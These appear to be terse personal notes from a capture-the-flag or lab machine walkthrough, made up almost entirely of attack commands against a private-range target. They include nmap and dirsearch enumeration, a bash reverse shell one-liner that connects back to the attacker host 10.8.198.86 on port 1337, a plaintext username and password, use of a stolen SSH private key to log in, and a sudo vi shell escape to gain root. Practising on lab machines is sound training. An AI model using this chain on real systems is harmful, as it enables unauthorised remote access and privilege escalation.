nmap -sV -sS 10.10.240.128 -vv

dirsearch 10.10.240.128

home.php

bash -c 'exec bash -i &>/dev/tcp/10.8.198.86/1337 <&1' (execute command )

username: Charlie password : cn7824

strings key\_rev\_key

(copy ssh key from teleport )

Chmod 400 id\_rsa

ssh charlie@10.10.240.128 -i id\_rsa

(search vi vulnerability to sudo) <https://gtfobins.github.io/>

sudo vi -c ':!/bin/bash' /dev/null

python root.py (in root directory)